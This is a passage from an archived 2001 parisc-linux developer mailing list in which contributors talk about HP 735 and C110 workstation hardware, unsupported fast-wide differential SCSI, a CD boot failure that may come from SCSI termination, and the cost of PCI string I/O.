Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 160ZVu-0000GV-00; Mon, 05 Nov 2001 02:29:26 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.21.0111042106311.25038-100000@spawn.hockeyfiend.com>; from chris@debian.org on Sun, Nov 04, 2001 at 09:10:33PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12897

On Sun, Nov 04, 2001 at 09:10:33PM -0500, Christopher C. Chimelis wrote:
> If I think of something, I'll write ya.  Also, if I manage to get a
> machine, I'm sure you'll be hearing from me (probably will be an Apollo
> series 735, fyi...slow, but effective).

735 is a pretty cool machine.  don't get one which requires a
fast-wide-diff scsi interface though; we don't have that working yet.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Christopher C. Chimelis" <chris@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa binutils/glibc updates
Date: Sun, 4 Nov 2001 21:40:29 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0111042139160.25038-100000@spawn.hockeyfiend.com>
References: <20011105022926.B4441@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620706 29175 80.91.229.3 (22 Nov 2014 01:45:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:06 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@parisc-linux.org, bcollins@debian.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  4 19:40:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spawn.hockeyfiend.com (dsl092-073-086.bos1.dsl.speakeasy.net [66.92.73.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9856482B
	for <parisc-linux@parisc-linux.org>; Sun,  4 Nov 2001 19:40:35 -0700 (MST)
Original-Received: from chris (helo=localhost)
	by spawn.hockeyfiend.com with local-esmtp (Exim 3.32 #1 (Debian))
	id 160Zgb-0007Xe-00; Sun, 04 Nov 2001 21:40:29 -0500
X-Sender: chris@spawn.hockeyfiend.com
In-Reply-To: <20011105022926.B4441@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12898

On Mon, 5 Nov 2001, Matthew Wilcox wrote:

> 735 is a pretty cool machine.  don't get one which requires a
> fast-wide-diff scsi interface though; we don't have that working yet.

I think that's all we have, but I'm not sure.  I'll look at the one that I
do have and see what the "norm" is around the office (the one I have has
to remain HP-UX for work reasons, but it should be a representative sample
from what I've seen so far).  These things also don't have much RAM (mine
has 64MB, IIRC)...would I need more or would that do?

C




From - Thu Nov 08 21:20:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa binutils/glibc updates
Date: Mon, 5 Nov 2001 02:49:52 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20011105024952.C4441@parcelfarce.linux.theplanet.co.uk>
References: <20011105022926.B4441@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0111042139160.25038-100000@spawn.hockeyfiend.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620706 29180 80.91.229.3 (22 Nov 2014 01:45:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:06 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Randolph Chung <randolph@tausq.org>, parisc-linux@parisc-linux.org,
	bcollins@debian.org
To: "Christopher C. Chimelis" <chris@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  4 19:49:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2AA9C482B
	for <parisc-linux@parisc-linux.org>; Sun,  4 Nov 2001 19:49:54 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 160Zpg-0000Tt-00; Mon, 05 Nov 2001 02:49:52 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.21.0111042139160.25038-100000@spawn.hockeyfiend.com>; from chris@debian.org on Sun, Nov 04, 2001 at 09:40:29PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12899

On Sun, Nov 04, 2001 at 09:40:29PM -0500, Christopher C. Chimelis wrote:
> I think that's all we have, but I'm not sure.  I'll look at the one that I
> do have and see what the "norm" is around the office (the one I have has
> to remain HP-UX for work reasons, but it should be a representative sample
> from what I've seen so far).  These things also don't have much RAM (mine
> has 64MB, IIRC)...would I need more or would that do?

ok, just make sure you get a disc attached to the narrow interface,
or you'll be limited to NFS... 64MB is fine.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Williams <dan@bigw.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: FW SCSI (Was hppa binutils/glibc updates)
Date: Sun, 4 Nov 2001 20:52:13 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <1D1185B2-D198-11D5-80EF-0030657D1C94@bigw.org>
References: <20011105022926.B4441@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v472)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620707 29181 80.91.229.3 (22 Nov 2014 01:45:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  4 19:52:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beloit.edu (beloit.edu [144.89.40.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 804DA482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Nov 2001 19:52:19 -0700 (MST)
Original-Received: from localhost ([144.89.185.182])
	by beloit.edu (AIX4.3/8.9.3/8.9.0) with ESMTP id UAA22966
	for <parisc-linux@lists.parisc-linux.org>; Sun, 4 Nov 2001 20:46:46 -0600
In-Reply-To: <20011105022926.B4441@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Apple Mail (2.472)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12900

What still needs to happen on FW diff SCSI to get it working?

Dan

On Sunday, November 4, 2001, at 08:29 PM, Matthew Wilcox wrote:

> On Sun, Nov 04, 2001 at 09:10:33PM -0500, Christopher C. Chimelis wrote:
>> If I think of something, I'll write ya.  Also, if I manage to get a
>> machine, I'm sure you'll be hearing from me (probably will be an Apollo
>> series 735, fyi...slow, but effective).
>
> 735 is a pretty cool machine.  don't get one which requires a
> fast-wide-diff scsi interface though; we don't have that working yet.
>
> --
> Revolutions do not require corporate support.
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:20:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Williams <dan@bigw.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: More Install on C110: Kernel doesn't load...
Date: Sun, 4 Nov 2001 20:56:40 -0600
Lines: 51
Approved: news@gmane.org
Message-ID: <BC52B862-D198-11D5-80EF-0030657D1C94@bigw.org>
References: <200111022221.PAA07613@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v472)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620707 29183 80.91.229.3 (22 Nov 2014 01:45:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  4 19:56:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beloit.edu (beloit.edu [144.89.40.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4348E4834
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Nov 2001 19:56:42 -0700 (MST)
Original-Received: from localhost ([144.89.185.182])
	by beloit.edu (AIX4.3/8.9.3/8.9.0) with ESMTP id UAA14070
	for <parisc-linux@lists.parisc-linux.org>; Sun, 4 Nov 2001 20:51:13 -0600
In-Reply-To: <200111022221.PAA07613@puffin.external.hp.com>
X-Mailer: Apple Mail (2.472)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12901

OK, burned the straight download ISO the way that works with EasyCD 
Creator, but it still gives me the same message as last time, in the 
same place as last time.

<snip of seg 0-3 loads>
Error: read from boot device failed( status = -4)
byteio_read: seekread() returned -1 expected 2048
error:  segment 0 read() failed

The CD was burned at 2x and the discs are 4x certified (PNY).  The CD is 
external on the 50 pin narrow bus (core.SCSI.2.0)  However, it does not 
have termination on the external bus.  The internal narrow SCSI devices 
*do* have termination (ie the DDS2 tape drive).  I have switched the CD 
with the DDS2 drive before, but not this time with the new correct 
burn.  Could termination be an issue here and should I try putting the 
CD drive internally with termination?

C110
64Mb x 2
2.1GB FW differential SCSI
DDS2 narrow tape drive
External narrow CD drive
Standard blah blah graphics

Thanks in advance,
Dan


On Friday, November 2, 2001, at 04:21 PM, Grant Grundler wrote:

> Daniel Williams wrote:
>> Error: read from boot device failed (status = -4)
>> byteio_read: seekread() returned -1 expected 2048
>> Error:  segment 0 read() failed
>>
>> Any thoughts?
>
> When burning the IA64 boot CD, i was warned to use the 2x (vs 4x) burn
> speed. This sounded like hogwash to me but the person was told the disk
> burned at 4x may not work well with older/slower CD drives. If someone
> could confirm this I'd appreciate it...anyway, the ia64 CD worked fine.
>
> grant
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:20:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt.VanDeWerken@csiro.au
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: FW SCSI (Was hppa binutils/glibc updates)
Date: Mon, 5 Nov 2001 12:54:28 +1000
Lines: 64
Approved: news@gmane.org
Message-ID: <A8566E157F5FD411BCFB00D0B7816D51C72C0A@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620707 29185 80.91.229.3 (22 Nov 2014 01:45:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:07 +0000 (UTC)
To: dan@bigw.org, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  4 19:58:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ntexchange.cat.csiro.au (ntexchange.cat.csiro.au [140.253.12.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id C2C5B4834
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Nov 2001 19:58:11 -0700 (MST)
Original-Received: by ntexchange.cat.csiro.au with Internet Mail Service (5.5.2653.19)
	id <V927ZZ12>; Mon, 5 Nov 2001 12:54:29 +1000
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12902

I'm not entirely sure of the current status of the 735 FW SCSI stuff, but
Richard sent me a kernel with some experimental drivers in it to test (he
doesn't have a 735 himself) - it stack faulted on boot, so there's still
problems there.

As far as I understand the situation, the actual chip (ncr '720 I believe)
is well documented, but there's a proprietary HP chip in between the ncr
chip and the machine. It's this chip that's hard to interface to; Richard
has seen some HPUX source and has necessary clearance to use that knowledge,
so it's basically dependent on him.

I, too, would like to see thw FW scsi support going, mostly because I have
two of these machines and would like to use the internal disks (4GB would do
a lot for my network disk space...)

Cheers,
Matthew van de Werken
Electronics Engineer
CSIRO Exploration & Mining - Gravity Group
1 Technology Court - Pullenvale - Qld - 4069 - AUSTRALIA
ph:  +61-7-3327 4685     fax:  +61-7-3327 4455
email:  matt.vandewerken@csiro.au


> -----Original Message-----
> From: Daniel Williams [mailto:dan@bigw.org]
> Sent: Monday, 5 November 2001 12:52 PM
> To: parisc-linux@lists.parisc-linux.org
> Subject: [parisc-linux] Re: FW SCSI (Was hppa binutils/glibc updates)
> 
> 
> What still needs to happen on FW diff SCSI to get it working?
> 
> Dan
> 
> On Sunday, November 4, 2001, at 08:29 PM, Matthew Wilcox wrote:
> 
> > On Sun, Nov 04, 2001 at 09:10:33PM -0500, Christopher C. 
> Chimelis wrote:
> >> If I think of something, I'll write ya.  Also, if I manage to get a
> >> machine, I'm sure you'll be hearing from me (probably will 
> be an Apollo
> >> series 735, fyi...slow, but effective).
> >
> > 735 is a pretty cool machine.  don't get one which requires a
> > fast-wide-diff scsi interface though; we don't have that 
> working yet.
> >
> > --
> > Revolutions do not require corporate support.
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:20:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurriaan on Alpha <thunder7@xs4all.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: More Install on C110: Kernel doesn't load...
Date: Mon, 5 Nov 2001 07:01:16 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20011105070116.A2209@alpha.of.nowhere>
References: <200111022221.PAA07613@puffin.external.hp.com> <BC52B862-D198-11D5-80EF-0030657D1C94@bigw.org>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620708 29187 80.91.229.3 (22 Nov 2014 01:45:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  4 23:08:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpzilla3.xs4all.nl (smtpzilla3.xs4all.nl [194.109.127.139])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7AE55482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Nov 2001 23:08:07 -0700 (MST)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtpzilla3.xs4all.nl (8.12.0/8.12.0) with ESMTP id fA5685Tm021800
	for <parisc-linux@lists.parisc-linux.org>; Mon, 5 Nov 2001 07:08:05 +0100 (CET)
Original-Received: (qmail 4594 invoked from network); 5 Nov 2001 06:01:18 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 5 Nov 2001 06:01:18 -0000
Original-Received: (qmail 3657 invoked by uid 1000); 5 Nov 2001 06:01:16 -0000
Content-Disposition: inline
In-Reply-To: <BC52B862-D198-11D5-80EF-0030657D1C94@bigw.org>
User-Agent: Mutt/1.3.23i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12903

On Sun, Nov 04, 2001 at 08:56:40PM -0600, Daniel Williams wrote:
> OK, burned the straight download ISO the way that works with EasyCD 
> Creator, but it still gives me the same message as last time, in the 
> same place as last time.
> 
> <snip of seg 0-3 loads>
> Error: read from boot device failed( status = -4)
> byteio_read: seekread() returned -1 expected 2048
> error:  segment 0 read() failed
> 
> The CD was burned at 2x and the discs are 4x certified (PNY).  The CD is 
> external on the 50 pin narrow bus (core.SCSI.2.0)  However, it does not 
> have termination on the external bus.  The internal narrow SCSI devices 
> *do* have termination (ie the DDS2 tape drive).  I have switched the CD 
> with the DDS2 drive before, but not this time with the new correct 
> burn.  Could termination be an issue here and should I try putting the 
> CD drive internally with termination?

If your external chain is unterminated, then yes, termination could be
an issue. It's not certain, but it's certainly easier to try than
testing another CDROM, right?

Good luck,
Jurriaan
-- 
Put it this way, when people slip in what dogs have left in the streets,
they do tend to say, 'Oops, I've trod in an Edmund'.
	Blackadder II
GNU/Linux 2.4.13-ac6 on Debian/Alpha 64-bits 990 bogomips load:0.06 0.04 0.03



From - Thu Nov 08 21:20:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Christopher C. Chimelis" <chris@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa binutils/glibc updates
Date: Mon, 5 Nov 2001 01:37:14 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0111050136140.2956-100000@spawn.hockeyfiend.com>
References: <20011105024952.C4441@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620708 29191 80.91.229.3 (22 Nov 2014 01:45:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:08 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@parisc-linux.org, bcollins@debian.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  4 23:37:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spawn.hockeyfiend.com (dsl092-073-086.bos1.dsl.speakeasy.net [66.92.73.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id F36A5482B
	for <parisc-linux@parisc-linux.org>; Sun,  4 Nov 2001 23:37:33 -0700 (MST)
Original-Received: from chris (helo=localhost)
	by spawn.hockeyfiend.com with local-esmtp (Exim 3.32 #1 (Debian))
	id 160dNi-00014Y-00; Mon, 05 Nov 2001 01:37:14 -0500
X-Sender: chris@spawn.hockeyfiend.com
In-Reply-To: <20011105024952.C4441@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12904

On Mon, 5 Nov 2001, Matthew Wilcox wrote:

> ok, just make sure you get a disc attached to the narrow interface,
> or you'll be limited to NFS... 64MB is fine.

Ok :-)  I'll see what I can muster this week.  We seem to be
differential-poor drive-wise, so I don't think I'll have a problem getting
a narrow drive :-)  Also, we have a few external units laying around that
are all narrow, so I may just use one of those.

C




From - Thu Nov 08 21:20:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some Questions...
Date: Sun, 04 Nov 2001 23:59:08 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <200111050659.XAA24866@puffin.external.hp.com>
References: <5116@telia.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620708 29194 80.91.229.3 (22 Nov 2014 01:45:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Daniel Engstrom <5116@telia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov  5 00:03:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69410482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Nov 2001 00:03:05 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA24866;
	Sun, 4 Nov 2001 23:59:08 -0700
In-Reply-To: Message from Daniel Engstrom <5116@telia.com> 
   of "Sun, 04 Nov 2001 22:28:24 +0100." <20011104222824.O2303@zaphod.halden.lillfab.se> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12905

Daniel Engstrom wrote:
> 3) String I/O implementation
> The string I/O functions (insl/outsl and friends) are implemented in 
> terms of inl/outl and so on. This means that the HPA switch code in 
> arch/parisc/kernel/pci.c is executed once per word in the transfer.
> If the pci_hba_data struct had entries for these the test would have 
> been done outside of the loop.

It doesn't matter. The cost (in cycles) to perform the read
far exceeds any savings in cpu cycles getting rid of the switch
